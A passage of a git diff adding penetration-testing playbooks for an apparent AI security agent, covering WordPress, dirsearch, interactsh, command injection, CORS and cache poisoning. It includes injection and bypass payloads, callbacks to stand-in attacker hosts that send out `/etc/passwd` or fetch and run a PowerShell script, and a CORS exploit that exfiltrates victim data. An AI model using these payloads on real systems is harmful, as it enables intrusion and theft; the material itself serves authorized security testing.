`system.listMethods`, `wp.getUsersBlogs` (credential brute force), `pingback.ping` (SSRF/port scan/amplification) +- Multi-site, sitemaps, `wp-config.php` backups, `.git`/`.svn` leftovers, `phpinfo()` files, database dumps + +## Reconnaissance + +1. **Install/update wpscan** in the sandbox: `gem install wpscan` (or Kali `apt install wpscan`) - note it needs an API token for the best CVE database, but runs without one +2. **Baseline fingerprint**: + ``` + wpscan --url https://target --disable-tls-checks --enumerate u,vp,vt,dbe --api-token -o wpscan.json --format json + ``` + Components: `u` users, `vp` vulnerable plugins, `vt` vulnerable themes, `dbe` db exports/backups +3. **Manual core checks**: + ``` + curl -s https://target/readme.html | head -5 # version + curl -s https://target/wp-json/ | jq '.name,.description' + curl -s https://target/wp-json/wp/v2/users | jq '.[].slug' + curl -sI https://target/?author=1 | grep -i location # author enumeration + ``` +4. **Plugin/theme fingerprint without wpscan**: request `/wp-content/plugins//readme.txt`, `/wp-content/themes//style.css`, and changelog files; grep for `Stable tag:`/`Version:` +5. **Check xmlrpc**: `curl -s https://target/xmlrpc.php -d 'system.listMethods'` + +## Key Vulnerabilities + +### User Enumeration + +- `/?author=1` (302 Location reveals `/author//`) +- `/wp-json/wp/v2/users` returns usernames when the REST endpoint is open +- Login error differential (`Invalid username` vs `The password you entered for the username`) +- `xmlrpc.php` `wp.getUsersBlogs` with a single password tries all usernames (amplified brute force) + +### XMLRPC Abuse + +- **Brute force amplification**: `system.multicall` batches hundreds of `wp.getUsersBlogs` password guesses in one HTTP request +- **Pingback SSRF/port scan**: `pingback.ping` makes the server fetch attacker-chosen URLs - OAST confirmation of SSRF and internal port probing (see `ssrf`) +- **DoS**: unauthenticated `pingback.ping` to a victim URL amplifies requests (classic DDoS vector) + +### Plugin/Theme CVEs + +This is where most criticals live: arbitrary file upload, SQLi, LFI, RCE, auth bypass, stored XSS, and plugin-specific chains. Workflow: + +1. Identify exact plugin/theme + version (readme/style/changelog) +2. Match against wpscan's database, `searchsploit`, or web search (` exploit`) +3. Verify the vulnerable endpoint/path manually before reporting + +Keep an inventory table: plugin/theme, version, CVE, affected endpoint, verified Y/N. + +### REST API Authorization Gaps + +Custom plugin REST routes frequently skip `permissions_callback`: + +``` +GET /wp-json//v1/... +``` + +Probe every namespace in `/wp-json/` with and without auth; check for IDOR on object IDs, missing capability checks, and privilege escalation via `wp/v2/users` writes when allowed. + +### Upload Bypasses + +- Extension whitelist gaps: `.php5`, `.phtml`, `.pht`, double extensions, case tricks +- MIME spoofing with a valid image header + PHP payload +- Plugin/theme upload via admin that skips signature verification +- Path traversal in upload filename -> arbitrary file write (plugin-dependent) +- Guessable upload paths (`/wp-content/uploads/YYYY/MM/`) for stored payloads + +### wp-config / Backup Exposure + +- `wp-config.php.bak`, `.old`, `.swp`, `~`, `#` files +- Database dumps (`backup.sql`, `dump.sql`) and plugin backup archives in web root +- `.git`/`.svn` metadata when the site is deployed from a repo (see `content_discovery`) + +### Weak Credentials + +- Default/weak admin passwords; `xmlrpc.php` multicall makes brute force fast and noisy - prefer targeted wordlists (see `weak_password_detection`) +- Exposed `wp-login.php` without rate limiting or 2FA + +## Advanced Techniques + +- **REST + XSS chain**: stored XSS in a post/comment via REST write with weak capability checks -> admin session theft +- **SSRF via pingback**: use `pingback.ping` with OAST to prove server-side fetch, then pivot to internal metadata (see `ssrf`) +- **Plugin chain**: combine an LFI/arbitrary-file-read plugin with a log/upload write to reach RCE +- **MU-plugins / drop-ins**: check `wp-content/mu-plugins/`, `db.php`, `object-cache.php` for persistence or custom code with vulns +- **Cron abuse**: `/wp-cron.php` endpoints and plugin scheduled jobs with unserialized args + +## Testing Methodology + +1. Fingerprint core version + theme/plugin inventory (wpscan + manual readme/style checks) +2. Enumerate users via author ID, REST, and login differentials +3. Probe xmlrpc methods; test multicall brute force and pingback SSRF (OAST) +4. Map REST namespaces and test authz per endpoint +5. Version-match plugins/themes to CVEs and verify the vulnerable path +6. Test uploads and backup/config exposure +7. Validate and report with an inventory table + +## Validation + +1. User enum: show the enumeration vector with concrete output (author redirect, REST JSON, login error) +2. Plugin CVE: reproduce the vulnerable endpoint behavior (e.g., LFI reads `/etc/passwd`, SQLi returns data) - version alone is not proof +3. XMLRPC: show `system.multicall` batching or a pingback OAST hit from the server IP +4. Upload: demonstrate a non-executable proof (e.g., `.txt` marker written via a real bypass) or read-back of a payload file +5. REST authz: two-account/baseline diff on the unauthorized operation + +## False Positives + +- wpscan "vulnerable" plugins where the exploit path is patched or the version string is stale (verify manually) +- `/wp-json/wp/v2/users` returning only display names with no login slugs (limited enum value) +- xmlrpc enabled but pingback disabled (methods list shows `pingback.ping` absent) +- Upload "bypass" that stores the file inertly (no execution/read-back) +- `readme.html` version vs actual patched core (plugins/themes often lag) + +## Impact + +- Site takeover via plugin RCE, admin credential theft, or upload-to-webshell +- Data breach via SQLi/db dumps +- SSRF pivot into the hosting network via pingback +- Defacement/malware injection (the most common WordPress incident outcome) + +## Pro Tips + +1. Build the plugin/theme inventory before anything else - version-matched CVEs are the highest-yield path +2. `readme.txt` `Stable tag:` and theme `style.css` `Version:` are the fastest manual fingerprints +3. Test `xmlrpc.php` early: multicall brute force and pingback SSRF are both one request away +4. Enumerate REST namespaces - custom plugin endpoints are where authz checks go missing +5. Pair with `weak_password_detection`, `ssrf`, `insecure_file_uploads`, and `content_discovery` skills + +## Summary + +WordPress testing is inventory-driven: enumerate users, plugins, themes, and REST namespaces; version-match plugins to CVEs and verify; then abuse xmlrpc, uploads, and backups. wpscan automates the sweep; manual verification makes the findings real. diff --git a/strix/skills/tooling/dirsearch.md b/strix/skills/tooling/dirsearch.md new file mode 100644 index 000000000..0aa826782 --- /dev/null +++ b/strix/skills/tooling/dirsearch.md @@ -0,0 +1,74 @@ +--- +name: dirsearch +description: Dirsearch content-discovery CLI structure, wordlist/extension selection, rate controls, and automation-safe output patterns +--- + +# Dirsearch CLI Playbook + +Official docs: +- https://github.com/maurosoria/dirsearch + +Dirsearch is a threaded HTTP content-discovery scanner: it brute-forces directories and files on a target with a wordlist and reports status-code-differentiated results. It is pre-installed in the sandbox via pipx. + +Canonical syntax: +`dirsearch [flags]` + +High-signal flags: +- `-u, --url ` single target (or `-l ` for a list of targets) +- `-w ` custom wordlist (default `db/dicc.txt`; use Seclists/dirb lists for depth) +- `-e ` comma-separated extensions to append (`php,html,txt,bak,old,env`) +- `-t ` thread count +- `--max-rate ` global request rate cap +- `-r` recursive brute force into discovered directories +- `-R ` max recursion depth +- `-x ` exclude status codes (e.g. `-x 404,403`) +- `-i ` include only specific status codes +- `-q` quiet mode (results only) +- `--format=json -o ` structured output for automation +- `--header ` / `--cookie ` auth or custom headers +- `--random-agent` rotate user agents +- `--timeout ` request timeout +- `--proxy ` route through a proxy (or caido) +- `-H, --header` alternative header syntax; `--user-agent` fixed UA + +Agent-safe baseline: +``` +dirsearch -u https://target -e php,html,txt,bak,old,env,json -t 20 --max-rate 50 \ + -x 404,403 -q --format=json -o dirsearch.json +``` + +Common patterns: +- Shallow quick sweep: + `dirsearch -u https://target -e php,txt -t 20 --max-rate 50 -x 404 -q --format=json -o quick.json` +- Recursive deep discovery: + `dirsearch -u https://target -w raft-medium-words.txt -e php,bak,old,env -r -R 3 -t 30 --max-rate 100 -x 404 -q --format=json -o deep.json` +- Authenticated scan: + `dirsearch -u https://target -w api-words.txt -e json -t 10 --max-rate 30 --cookie "session=..." -x 404 -q` +- Extension-focused backup hunt: + `dirsearch -u https://target -w common.txt -e bak,old,swp,sav,orig,dist,env,sql -t 20 -x 404 -q` + +Critical correctness rules: +- Always exclude the baseline noise (`-x 404`, and consider `403` unless you intend to test bypasses) +- Keep `-t` and `--max-rate` explicit and moderate (20 threads / 50-100 rps is a sane ceiling for most targets) +- Use JSON output (`--format=json -o `) for automation and reporting +- Use `-r/-R` deliberately: recursion multiplies requests exponentially +- For APIs/JS-heavy apps, prefer `api`/`raft` wordlists over generic dirb lists + +Usage rules: +- Run passive recon (robots, sitemap, JS mining) before brute force so the wordlist targets real paths +- Verify results by fetching each hit; filter soft-200s (SPAs return 200 for everything) by body size/content +- Do not run unbounded recursion or default thread counts on production targets + +Failure recovery: +- All 403/429: you are being rate-limited or WAF-blocked - lower `--max-rate`, add `--random-agent`, or route through the proxy +- Soft-200 flood: filter with `-x` or by content-length at the parsing stage +- Slow scans: reduce wordlist size, disable recursion, raise threads only if the target tolerates it + +If uncertain, query web_search with: +`dirsearch flags documentation recursive extensions` + +## Pairing + +- Results feed `content_discovery` methodology +- 403 hits -> access-control bypass testing (see `content_discovery`) +- Config/backup hits -> `information_disclosure`, `source_aware_sast`, `dependency_cve_scanning` diff --git a/strix/skills/tooling/interactsh.md b/strix/skills/tooling/interactsh.md new file mode 100644 index 000000000..5e3a6ad0b --- /dev/null +++ b/strix/skills/tooling/interactsh.md @@ -0,0 +1,68 @@ +--- +name: interactsh +description: Out-of-band application security testing with interactsh-client - DNS/HTTP callbacks, correlation tokens, and blind vulnerability confirmation +--- + +# Interactsh OAST Playbook + +Official docs: +- https://github.com/projectdiscovery/interactsh + +Interactsh is the out-of-band (OAST) collaboration server used to confirm blind vulnerabilities: blind SSRF, blind command injection, blind SQLi, blind XSS, XXE, template injection, and any case where the server fetches a URL or resolves a DNS name you control. `interactsh-client` is pre-installed in the sandbox (`/home/pentester/go/bin/interactsh-client`). + +Canonical syntax: +`interactsh-client [flags]` + +High-signal flags: +- `-v` verbose mode: print every interaction (DNS, HTTP, SMTP) as it arrives +- `-o ` write interactions to a file (persist evidence for reports) +- `-n` disable HTTP server callbacks (DNS-only mode when you only need resolution proof) +- `-s ` custom interactsh server (default is the public `oast.fun` cluster) +- `-t ` authentication token for the server +- `-p ` port for the local callback listener (only needed for server-mode setups) +- `-f` JSON output mode for machine-readable interaction logs + +Agent-safe baseline: +`interactsh-client -v -o /workspace/.oast.log` + +## Workflow + +1. **Start the client** in verbose mode and keep it running (background it or run in a separate exec while you fire requests): + ``` + interactsh-client -v -o /workspace/.oast.log + ``` + The client prints a fresh unique domain, e.g. `a1b2c3d4e5f6.oast.fun`, and also a unique token (subdomain prefix) per invocation. +2. **Embed the domain in your payloads** - the goal is a server-initiated DNS or HTTP request to your unique domain: + - Blind SSRF: `url=https://.oast.fun/probe` + - Blind command injection: `; curl http://.oast.fun/$(whoami)` or `| nslookup .oast.fun` + - Blind SQLi: `' AND (SELECT LOAD_FILE(CONCAT('\\\\', '.oast.fun\\', (SELECT version()))))-- -` (MySQL), `'; EXEC xp_dirtree '\\.oast.fun\';--` (MSSQL), `COPY x FROM PROGRAM 'curl http://.oast.fun'` (Postgres) + - Blind XSS: `.oast.fun/x>` + - XXE: `.oast.fun/e">]>` + - Template injection: `{{ ''.__class__.__mro__[1].__subclasses__() }}` plus `curl http://.oast.fun/ti` in an exec primitive + - DNS rebinding/SSRF checks: `.oast.fun` in any host/URL parameter +3. **Correlate** - each invocation gets a unique domain, so an interaction matching that domain proves *that* payload triggered a server-side request. Restart the client (or note the new domain) between payload batches to keep correlation clean. +4. **Capture evidence** - the `-o` file records type (DNS/HTTP), remote IP, full URL/query, and timestamp. Keep it for the report; the source IP should be the target's server, not your machine. + +## Usage Rules + +- Always use a fresh unique domain per test batch; reusing a domain across payloads makes correlation ambiguous +- Prefer DNS callbacks when HTTP egress is filtered (many WAFs allow DNS); `-n` isolates DNS-only +- Keep payloads small; OAST is for *confirmation*, not data exfiltration - prefer `$(whoami)`/`$(id)` markers over dumping secrets +- Check the source IP of each interaction: it must be the target server, not your own client, to count as a finding +- If no callback arrives, verify the server can reach the internet at all before concluding "not vulnerable" + +Failure recovery: +- No interactions at all: test your own reachability (`curl http://.oast.fun` from the sandbox), then test alternate vectors (DNS vs HTTP, different payload syntax) +- Interactions arrive but from the wrong source IP: client-side fetch (browser, test machine) - not a server-side finding +- Delayed callbacks: wait 10-30s; retry with a fresh domain if none arrive + +If uncertain, query web_search with: +`interactsh-client documentation flags out of band` + +## Pairing + +- Blind SSRF/command injection -> `ssrf`, `command_injection` +- Blind SQLi/XXE -> `sql_injection`, `xxe` +- Blind XSS -> `xss` +- CI/CD import SSRF -> `ci_cd` +- Payment/webhook callbacks -> `payment_gateways` diff --git a/strix/skills/vulnerabilities/command_injection.md b/strix/skills/vulnerabilities/command_injection.md new file mode 100644 index 000000000..478738d83 --- /dev/null +++ b/strix/skills/vulnerabilities/command_injection.md @@ -0,0 +1,194 @@ +--- +name: command_injection +description: OS command injection testing covering in-band and blind detection, shell- and OS-specific payloads, filter bypass, and OAST confirmation +--- + +# Command Injection + +Command injection lets an attacker execute operating-system commands through an application that passes user input into a shell or process-execution primitive. It is the highest-impact member of the injection family: one injection point is usually straight to RCE. The bug lives wherever user input reaches `system()`, `exec()`, `popen()`, subprocess/`ProcessBuilder`/`Runtime.exec`, backticks, `cmd /c`, or a shell built via string concatenation. + +## Attack Surface + +**Sinks by language** + +- PHP: `system`, `exec`, `shell_exec`, `passthru`, `popen`, `proc_open`, backticks +- Python: `os.system`, `os.popen`, `subprocess` with `shell=True`, `eval`/`exec` of shell strings +- Node.js: `child_process.exec`, `execSync`, `spawn` with `shell: true` +- Java: `Runtime.getRuntime().exec` (no shell by default, but often wrapped), `ProcessBuilder` that gets shelled downstream +- .NET: `Process.Start`, `cmd /c` wrappers +- Ruby: `system`, backticks, `%x()`, `IO.popen`, `Open3` +- Go: `exec.Command` with `sh -c` or `cmd /c` + +**Feature surfaces** + +- Ping / traceroute / DNS lookup / WHOIS / nslookup / dig panels +- Downloaders, converters (ffmpeg, ImageMagick, wkhtmltopdf), archive extractors (tar, zip, 7z, unrar) +- Backup/export/import jobs, report generators, mailers +- Git/package operations triggered by user input (clone URL, package name) +- File operations that flow into shell commands (filename, path, extension) +- Language/tool fields in code runners or search features wired to grep/find +- API parameters that reach CLI wrappers or Docker exec + +**Indirect sinks** - log poisoning (User-Agent/Referer into access.log later executed via LFI), mail logs, cron, and any user-controlled value that lands in a shell string later. + +## Reconnaissance + +1. **Map every input that reaches a process**: parameters, headers, filenames, upload names, URLs. Source-aware: grep for the sink list above and trace user data to them. +2. **Establish the shell context**: Linux `/bin/sh` vs Windows `cmd.exe`/PowerShell changes payload syntax entirely. Fingerprint via `Server`, error pages, or platform-specific behavior. +3. **Choose the oracle**: in-band (output echo) if the app reflects command output, blind (timing or OAST) otherwise. + +## Key Vulnerabilities + +### In-Band (Output Reflected) + +Terminate the original command and append a probe that prints a unique marker: + +``` +; id +| id +|| id +&& id +`id` +$(id) +%0a id (newline) +%0d%0a id (CRLF) +``` + +Use unique markers to avoid false positives from genuine command output: + +``` +; echo STRIX_ +``` + +### Blind (No Output) + +**Timing** (works even with no egress): + +``` +; sleep 5 +| ping -c 5 127.0.0.1 +& timeout /t 5 +; ping -n 5 127.0.0.1 +``` + +Run the same request without the payload and diff response times; use 5-10 second sleeps and repeat 2-3 times per point to beat network jitter. + +**OAST** (strongest evidence; see `tooling/interactsh`): + +``` +; curl http://.oast.fun/x +| nslookup .oast.fun +; wget http://.oast.fun +``` + +Windows PowerShell: `; Invoke-WebRequest http://.oast.fun/x` + +## Payloads by Context + +### Linux / POSIX + +- No-space bypasses: `${IFS}`, tab (`%09`), `$IFS$IFS`, `${IFS}whoami`, `$@` / `$*` (empty, used as separators), brace expansion `{cat,/etc/passwd}`, `$'\x20'` +- Character construction when letters are filtered: `$(printf 'id')`, `$'\x69\x64'`, `c""at`, `c'a't`, `ca\t` +- Read files without cat: `$(< /etc/passwd)`, `tail -n +1 /etc/passwd`, `head /etc/passwd` +- Encode payloads: `echo | base64 -d | sh`; PowerShell: `[Convert]::FromBase64String(...)` + +### Windows cmd.exe + +``` +& whoami +| whoami +&& whoami +%PATH:~0,1% (build characters from env vars) +for /f %i in ('whoami') do @echo %i +``` + +### Windows PowerShell + +``` +; whoami +; $(whoami) +; iex (iwr http://attacker/payload.ps1) +``` + +### Framework/parser quirks + +- Some parsers strip semicolons but pass pipes: test each metacharacter (`; | & && || $() backtick newline`) individually and binary-search the filter +- Double/triple URL encoding (`%250a`) beats single-decode WAFs +- Newline-only payloads (`%0a`) bypass line-based signatures while staying valid in many shells +- JSON/XML bodies: `\n` inside strings may reach the shell as a real newline + +## Bypass Techniques + +**Spaces blocked** + +- `${IFS}`, tab, `$IFS`, `$@`, `$*`, `${PS2}`, brace expansion + +**Blacklist of command names** + +- Insert quotes/escapes: `c""at`, `c'a't`, `ca\t`, `who$@ami`, `w\hoami` +- Env-var splitting: `$PWD` contains `/`; construct names with `${PATH:0:1}` +- `printf`/`base64` decoding, then execute +- Use alternatives: `awk`, `perl`, `php -r`, `python3 -c`, `bash -c` + +**No output channel** + +- Write results to a web-accessible file, or exfiltrate via OAST DNS/HTTP +- `curl -X POST -d @/etc/passwd http://attacker/` (best-effort; OAST preferred) + +**Length limits** + +- Fetch a staged payload: `curl /p|sh`; base64 payloads; `wget /x -O /tmp/x` +- Reuse env vars already set (`$IFS`, `$PATH`, `$HOME`) when the character budget is tiny + +## Chaining Attacks + +- Command injection -> reverse shell (authorized targets only; prefer non-destructive proof like OAST or a marker file) +- Log poisoning + LFI -> command execution through access.log/auth.log/mail.log when direct sinks are filtered +- SSRF + command injection -> reach internal tooling that executes commands (CI, admin panels) +- Image/PDF conversion bugs (ImageMagick MVG, ffmpeg) that execute external programs +- Cron/at injection when the app writes user input into crontabs + +## Testing Methodology + +1. **Identify sinks** - source-aware grep for the sink list, or black-box map of features that plausibly shell out +2. **Pick oracles** - in-band marker, timing, or OAST (prefer OAST for blind cases) +3. **Baseline** - record normal response and latency for each point +4. **Test separators** - `;`, `|`, `||`, `&&`, `$()`, backticks, newline +5. **Test blind** - sleep/ping for timing, `curl`/`nslookup` to interactsh for OAST +6. **Bypass filters** - spaces, metacharacter blacklists, command-name blacklists, length limits +7. **Escalate** - read a sensitive file, write a marker, or chain to a durable primitive + +## Validation + +1. Reproduce with the exact request/response pair; the injected command must observably run (marker in output, OAST hit, or consistent time delta) +2. Prove the command executes under the target's account (OS/user evidence) rather than echoing a canned value +3. Prefer low-impact proof (marker file, OAST hit, `id`/`whoami` output) over destructive payloads +4. Document which metacharacters/context the application allows and the exact filter bypass + +## False Positives + +- Output that appears to echo the payload but never executes (reflection, not injection) +- WAF blocks the payload before the app (403/429 with no app processing) - not a finding +- Timing differences from network jitter or app-level sleep/retry logic - repeat and use longer sleeps +- OAST hit whose source IP is your own machine (client-side fetch, not the server) +- App errors mention the command but the command did not run (shell unavailable, restricted shell) + +## Impact + +- Full remote code execution as the application user +- Lateral movement and privilege escalation from a compromised app account +- Data theft (source, credentials, databases) and ransomware-style impact + +## Pro Tips + +1. Always use unique markers (`STRIX_`) so reflected-output matches are provable +2. Prefer OAST confirmation for blind cases; pair it with timing to prove the code path executes +3. Test one metacharacter at a time when filters exist; binary-search what passes +4. Remember Windows: cmd.exe separators differ from PowerShell; test both when the stack is ambiguous +5. Check how the app invokes the command (array vs string, `shell=True`, `cmd /c`) - it determines whether a payload is reachable +6. When sinks are sandboxed (Docker exec, nsjail), prove impact inside the sandbox and note the boundary +7. Chain immediately to impact: reading a secrets file or dropping a marker is worth more than a bare `id` + +## Summary + +Any user-controlled value that reaches a shell or process spawn is a potential RCE. Detect with in-band markers, timing, or OAST; bypass filters by varying separators, whitespace, quoting, and encoding; then prove execution and chain to the most useful impact available. diff --git a/strix/skills/vulnerabilities/cors_misconfiguration.md b/strix/skills/vulnerabilities/cors_misconfiguration.md new file mode 100644 index 000000000..50aa6a971 --- /dev/null +++ b/strix/skills/vulnerabilities/cors_misconfiguration.md @@ -0,0 +1,130 @@ +--- +name: cors_misconfiguration +description: CORS misconfiguration testing covering origin reflection, null origin, credential-bearing reads, preflight gaps, and cache poisoning via missing Vary +--- + +# CORS Misconfiguration + +Cross-Origin Resource Sharing is the browser mechanism that decides whether a foreign origin may read a response. It is not an access-control boundary - it is a relaxation of the same-origin policy, and it only matters when it lets an attacker's page read data the victim can see. Misconfigurations turn a logged-in victim's browser into a proxy for the attacker, usually to steal tokens, PII, or CSRF tokens. The key distinction: a CORS finding is only real if the attacker can read something sensitive with the victim's credentials. + +## Attack Surface + +- API/JSON endpoints that return user-specific data (profile, orders, settings) +- Endpoints returning CSRF/anti-CSRF tokens, session markers, or bearer tokens in bodies +- GraphQL, REST, and microservice responses with per-request `Access-Control-Allow-Origin` (ACAO) +- Preflight handling (`OPTIONS`) that diverges from actual request handling +- CDN/cache layers that serve CORS headers without `Vary: Origin` +- Subdomain-heavy deployments where one relaxed origin covers attacker-influenceable subdomains + +## Reconnaissance + +1. **Identify credential-bearing endpoints** - anything that behaves differently when cookies/Authorization headers are present +2. **Probe the CORS profile** on each endpoint: + - `Origin: https://attacker.example` - is it reflected? + - `Origin: null` - accepted? + - `Origin: https://victim.example.attacker.example` / `https://attacker.example.com` (substring confusion)? + - `Origin: https://evilvictim.example` (prefix confusion)? +3. **Check preflight vs simple request**: an `OPTIONS` with `Access-Control-Request-Method: GET` and the same Origin; compare ACAO/`Access-Control-Allow-Credentials` (ACAC) to the actual `GET` +4. **Check `Vary: Origin`** on every response that emits ACAO; its absence can enable cache poisoning +5. **Test with credentials**: `curl -H "Origin: https://attacker.example" -H "Cookie: session=..."` and confirm ACAC is true when ACAO is a non-wildcard origin + +## Key Vulnerabilities + +### Reflected Origin with Credentials + +The server copies the request `Origin` into ACAO and sets ACAC true. Any origin can read the response with the victim's cookies: + +``` +curl -s -H "Origin: https://attacker.example" -H "Cookie: session=..." https://target/api/me -D- +``` + +Exploit page: + +``` +fetch("https://target/api/me", {credentials: "include"}) + .then(r => r.json()) + .then(d => new Image().src = "https://attacker.example/?d=" + JSON.stringify(d)); +``` + +### `null` Origin Accepted + +`Origin: null` is sent by sandboxed iframes, `data:`/`file:` documents, and some redirect chains. If the server reflects `null` with credentials, a sandboxed iframe on the attacker page can make credentialed reads: + +``` + +``` + +### Wildcard with Credentials + +`Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true` is rejected by spec-compliant browsers, but: + +- Legacy/Safari edge cases historically sent cookies anyway +- Non-browser clients (mobile apps, curl, automation) are unaffected +- It still exposes unauthenticated data that should be private (info disclosure) + +### Allowlist Bugs + +- Substring match: `attacker.com` passes a check for `attacker.com` suffix in `victim.attacker.com` +- Prefix match: `attacker.com.evil.com` passes a check starting with `attacker.com` +- Domain-only check that ignores port or protocol +- Trusting subdomains that are attacker-controllable (user-generated content, file upload, `xss.victim.com`) + +### Per-Endpoint Divergence + +- Root/API prefix has strict CORS but a specific endpoint (uploads, exports, callbacks) reflects any origin +- Preflight says no but simple requests (`text/plain`, form-encoded) still return readable data + +### Missing `Vary: Origin` (Cache Poisoning) + +A CDN/cache stores one CORS response per URL. Without `Vary: Origin`, a response generated for `Origin: https://attacker.example` is served to other users, giving the attacker's origin read access to cached authenticated responses (combine with the `web_cache_poisoning` skill). + +## Advanced Techniques + +- **Credentials via `withCredentials`**: only exploitable when ACAC is true; prove both headers in the same response +- **Token theft without ACAC**: if the response contains an anti-CSRF token but ACAC is false, an uncredentialed cross-origin read may still leak it when the endpoint returns it without cookies +- **CORB/CORP bypass**: responses with `Content-Type: application/json` are protected by CORB in some browsers; `text/html`, `text/plain`, or JSONP endpoints are readable - target those +- **CORS + XSS chain**: an XSS on any allowed origin makes credentialed cross-origin reads irrelevant; when XSS exists on an allowed subdomain, the CORS flaw is redundant but still worth reporting for defense-in-depth +- **Redirect chains**: `Origin` may be stripped or rewritten across redirects; test final-hop behavior separately + +## Testing Methodology + +1. Enumerate authenticated, data-returning endpoints +2. Map the per-endpoint CORS profile (reflected, null, wildcard, allowlist, credentials, Vary) +3. Build a minimal cross-origin proof: fetch with `credentials:"include"` from a test page (or a `curl` pair showing both ACAO and ACAC) +4. Confirm the attacker origin can actually read sensitive, victim-specific data +5. Check preflight and simple-request divergence, and cache-layer behavior + +## Validation + +1. Show the exact response headers (`Access-Control-Allow-Origin` + `Access-Control-Allow-Credentials`) for an attacker-chosen Origin +2. Demonstrate a cross-origin credentialed read of victim-specific data (two accounts: one request differs only by the `Origin` header) +3. For null-origin cases, show the sandboxed-iframe or `data:` context that produces `Origin: null` +4. Confirm `Vary: Origin` absence with a cache-hit/second-user proof where caching applies + +## False Positives + +- ACAO reflected but ACAC false and no sensitive data readable - at most low severity +- Wildcard ACAO without credentials serving intentionally public data +- Browser-side CORB/CORP blocking JSON reads even when headers look permissive +- Origin reflected into ACAO but the endpoint requires a header the attacker cannot set cross-origin (custom auth header without credentials mode) +- `OPTIONS` permissive but actual GET/POST rejects the origin (always test the real request, not just preflight) + +## Impact + +- Account takeover via token/cookie theft from authenticated endpoints +- Mass PII exposure for any victim who visits the attacker page +- State-changing CSRF amplification (read tokens, then use them) +- Cache poisoning of authenticated responses across users + +## Pro Tips + +1. Always send cookies/Authorization when testing; CORS is only interesting with credentials +2. Test `Origin: null` - it is frequently accepted and trivially reachable from attacker pages +3. Verify `Vary: Origin` on every CORS response; missing Vary is a separate cache-poisoning finding +4. Test per endpoint, not per host - configs drift (uploads, exports, callbacks, GraphQL) +5. Distinguish "reflects Origin" (common, not always a finding) from "attacker can read victim data" (a finding) +6. Prefer the real browser (`agent-browser`) for final proof; curl cannot prove browser-enforced credential reads + +## Summary + +A CORS misconfiguration is a data-exfiltration primitive: it lets an attacker's page read victim-authenticated responses. Verify with real headers on real requests, prove a credentialed read of sensitive data, check preflight divergence and cache behavior, and report with the exact origin/header pair. diff --git a/strix/skills/vulnerabilities/web_cache_poisoning.md b/strix/skills/vulnerabilities/web_cache_poisoning.md new file mode 100644 index 000000000..03ad5c297 --- /dev/null +++ b/strix/skills/vulnerabilities/web_cache_poisoning.md @@ -0,0 +1,126 @@ +--- +name: web_cache_poisoning +description: Web cache poisoning and cache deception testing covering cache-key probing, unkeyed headers, parameter cloaking, and CDN-specific behavior +--- + +# Web Cache Poisoning + +A cache stores a response and serves it to other users based on a cache key (usually method, URL, and sometimes headers). Cache poisoning occurs when an attacker can make the origin store a response influenced by attacker-controlled, *unkeyed* input - then deliver that poisoned response to a victim. Cache deception is the sibling bug: tricking the cache into storing a sensitive, per-user response under a key an attacker can later fetch. Together they turn a single crafted request into stored XSS, defacement, DoS, or data leak served to many users. + +## Attack Surface + +- Cache layers: CDNs (Cloudflare, Akamai, Fastly, CloudFront), reverse proxies (Varnish, Nginx `fastcgi_cache`/`proxy_cache`), app-level caches (Redis/Django/Spring caches), service workers +- Cacheable content: pages without session-specific `Set-Cookie`, static assets, error pages, redirects, API responses with cache headers +- Inputs that influence responses but are rarely keyed: `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Proto`, `X-Forwarded-Scheme`, `X-Forwarded-Port`, `X-Original-URL`, `X-Rewrite-URL`, `X-Forwarded-For`, cookies, `User-Agent`, custom `X-*` headers, `utm_*` query parameters, fragments +- Sinks that reflect unkeyed input: `Location`/redirects, `Set-Cookie` values, HTML injection points, JSONP responses, `Content-Type`/`Content-Disposition` headers + +## Reconnaissance + +1. **Find the cache**: response headers `Age`, `X-Cache: HIT/MISS`, `CF-Cache-Status`, `X-Cache-Status`, `Via`, `X-Served-By`, `Cache-Control`/`Expires`, and behavior (identical response served fast on repeat) +2. **Learn the key**: add a harmless cache-buster (`?cb=1`), then vary one input at a time and watch whether the response changes *and* stays cached: + - `?cb=1` + `X-Forwarded-Host: test` - does a header change the response while `?cb=1` stays in the key? +3. **Identify unkeyed reflections**: every input that changes the response without changing the key is a candidate poison +4. **Classify cacheability**: pages that set `Cache-Control: public`/`s-maxage` or lack `Set-Cookie`/`Vary` are prime targets; observe `X-Cache: MISS` -> `HIT` transitions + +## Key Vulnerabilities + +### Unkeyed Header Poisoning + +`X-Forwarded-Host` (or `X-Host`, `X-Forwarded-Proto`) used to build URLs or redirects without being keyed: + +``` +GET /redirect?url=/account HTTP/1.1 +Host: target.com +X-Forwarded-Host: attacker.example +``` + +If the app redirects to `https://attacker.example/account` and the cache stores it under `GET /redirect?url=/account`, every user gets the attacker's redirect (phishing) or, with header injection, stored XSS. + +### Cache Poisoning via HTML Injection + +An unkeyed header reflected into HTML (correlation IDs, `X-Forwarded-For` in a footer, debug headers) plus a cacheable page equals stored XSS delivered to all users: + +``` +GET / HTTP/1.1 +Host: target.com +X-Forwarded-For: +``` + +### Fat GET / Body-Influenced Responses + +Some frameworks cache responses based on the body even when the key is GET-only (`fat GET`). An attacker-controlled body poisons a shared cache entry. + +### Parameter Cloaking + +The cache-key parser and the application parser disagree. Classic case: a cache treats `?utm_content=x` as part of the key while the app reads a *different* `utm_content` value when both are present, or `?foo=bar;foo=payload` where the cache keys the first and the app uses the second. Common separators: `;`, `#`, `%23`, and `&` handling differences between CDN and origin. + +### Cache Deception + +The app serves an authenticated, sensitive page for any path that matches a cacheable extension/pattern, and the cache stores it: + +``` +GET /account/settings/nonexistent.css HTTP/1.1 (app returns /account/settings HTML) +GET /account.css (path normalization) +``` + +If `/account/*` renders the account page for any suffix and the cache stores it, the attacker fetches `/account/settings/nonexistent.css` and may receive a victim's cached account page (when a victim's request cached it first). Test with two sessions and a fresh cache. + +## Bypass Techniques + +- **Header name variations**: `X-Forwarded-Host` vs `X-Host` vs `Forwarded` vs `X-Forwarded-Server`; mix case; duplicate headers +- **Host confusion**: `Host: target.com.evil.com`, `Host: evil.com` when the app trusts Host for redirects but the cache keys a different virtual host +- **Encoding/normalization**: path normalization (`/./`, `//`, `%2e`, `..;/`), Unicode normalization, backslash tricks, `?x=1#` fragments that hide state from the cache +- **Method confusion**: `GET` with body, `HEAD` returning body content, `OPTIONS`/`POST` cached, `X-HTTP-Method-Override` +- **Cookie-keyed caches**: if cookies are in the key, a `Set-Cookie` reflecting unkeyed input can still poison per-session entries or, with weak keying, cross-session ones + +## 